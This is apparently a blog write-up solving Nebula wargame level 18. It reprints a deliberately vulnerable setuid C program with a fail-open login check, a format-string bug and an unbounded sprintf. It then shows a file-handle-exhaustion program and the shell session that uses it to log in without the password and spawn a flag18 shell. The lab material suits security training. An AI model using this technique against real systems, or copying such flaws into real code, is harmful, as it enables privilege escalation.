nebula level18

About
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
To do this level, log in as the level18 account with the password level18 . Files for this level can be found in /home/flag18.

Source code
 

 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <stdio.h>
 #include <sys/types.h>
 #include <fcntl.h>
 #include <getopt.h>
 
  struct {
   FILE *debugfile;
   int verbose;
   int loggedin;
 } globals;
 
 #define dprintf(...) if(globals.debugfile) \
   fprintf(globals.debugfile, __VA_ARGS__)
 #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
   fprintf(globals.debugfile, __VA_ARGS__)
 
 #define PWFILE "/home/flag18/password"
 
 void login(char *pw)
 {
   FILE *fp;
 
   fp = fopen(PWFILE, "r");
   if(fp) {
     char file[64];
 
     if(fgets(file, sizeof(file) - 1, fp) == NULL) {
       dprintf("Unable to read password file %s\n", PWFILE);
       return;
     }
                 fclose(fp);
     if(strcmp(pw, file) != 0) return;    
   }
   dprintf("logged in successfully (with%s password file)\n", 
     fp == NULL ? "out" : "");
   
   globals.loggedin = 1;
 
 }
 
 void notsupported(char *what)
 {
   char *buffer = NULL;
   asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
   dprintf(what);
   free(buffer);
 }
 
 void setuser(char *user)
 {
   char msg[128];
 
   sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
   printf("%s\n", msg);
 
 }
 
 int main(int argc, char **argv, char **envp)
 {
   char c;
 
   while((c = getopt(argc, argv, "d:v")) != -1) {
     switch(c) {
       case 'd':
         globals.debugfile = fopen(optarg, "w+");
         if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
         setvbuf(globals.debugfile, NULL, _IONBF, 0);
         break;
       case 'v':
         globals.verbose++;
         break;
     }
   }
 
   dprintf("Starting up. Verbose level = %d\n", globals.verbose);
 
   setresgid(getegid(), getegid(), getegid());
   setresuid(geteuid(), geteuid(), geteuid());
  
   while(1) {
     char line[256];
     char *p, *q;
 
     q = fgets(line, sizeof(line)-1, stdin);
     if(q == NULL) break;
     p = strchr(line, '\n'); if(p) *p = 0;
     p = strchr(line, '\r'); if(p) *p = 0;
 
     dvprintf(2, "got [%s] as input\n", line);
 
     if(strncmp(line, "login", 5) == 0) {
       dvprintf(3, "attempting to login\n");
       login(line + 6);
     } else if(strncmp(line, "logout", 6) == 0) {
       globals.loggedin = 0;
     } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      }
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
   } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);
    }
  }

  return 0;
}


This time, we will solve level18 of Nebula wargame. The source code of the vulnerable binary is provided. Most importantly


void login(char *pw)
{
 FILE *fp;

 fp = fopen(PWFILE, "r");
 if(fp) {
  char file[64];

  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
  fclose(fp);
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

 globals.loggedin = 1;

}



As it could be seen, we have to bypass the if(fp) check. Ofcourse, we don't have read access to the password file. What is to be noticed is that global.loggedin = 1 is outside of the if(fp) block. This means that if we are able to make the fopen() call return NULL, we will skip the if conditional block and be loggedin. After investigating what are the possible ways to make the fopen() call fail, I have come across the idea of exhausting file handlers. 
level18@nebula:~$ cat /proc/sys/fs/file-nr 
288 0 23521
There are 288 open files. The maximum amount of open files simultaneously is 23521 (way higher on my own box.) First thought is to write a program that loops for 24k times calling fopen() each time. But we have some limits.
level18@nebula:~$ ulimit -Sn
The soft limit of open files by process is 1024, so we will change that to a higher value, matching the one of the hard limit which can't be increased without privileges.
level18@nebula:~$ ulimit -Hn
4096
level18@nebula:~$ ulimit -Sn 4096
Now we will launch the file handlers exhausting program for a couple of times to exhaust all the file handlers.
level18@nebula:~$ cat fhexhaust.c 
#include <stdio.h>
int main(int argc, char *argv[]) {
    int i;
    FILE *fp;
    for(i = 0; i < 4096; i++) {
 fp = fopen("/tmp/pwnie18", "r");
    }
    printf("let's take a nap\n");
    sleep(30);
    return 0;
}


The program will sleep for 30 seconds, letting us do the job calmly (80 WPM, if that is what you are thinking about.)
We first start flag18, and CTRL-Z out of it.
level18@nebula:~$ touch /tmp/pwnie18
level18@nebula:~$ ../flag18/flag18 

^Z
[2]+  Stopped(SIGTSTP)        ../flag18/flag18
We then launch fhexhaust 6 times.
level18@nebula:~$ for i in {1..6}
> do
> ./a.out &
> done

[2] 4311
[3] 4312
[4] 4313
[5] 4314
[6] 4315
[7] 4316
level18@nebula:~$ let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap

And we switch back to flag18 to login as the file handlers are exhausted.
level18@nebula:~$ jobs
[1]+  Stopped(SIGTSTP)        ../flag18/flag18
[2]   Running                 ./a.out &
[3]   Running                 ./a.out &
[4]   Running                 ./a.out &
[5]   Running                 ./a.out &
[6]   Running                 ./a.out &
[7]   Running                 ./a.out &
level18@nebula:~$ fg 1
../flag18/flag18
login
^Z
We kill the exhausters (to free their resources) before querying for a shell (Otherwise, execve will return -1 and errno is set
to ENFILE)
level18@nebula:~$ fg 1
../flag18/flag18
shell
flag18@nebula:~$ id

uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
flag18@nebula:~$ getflag 
You have successfully executed getflag on a target account
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章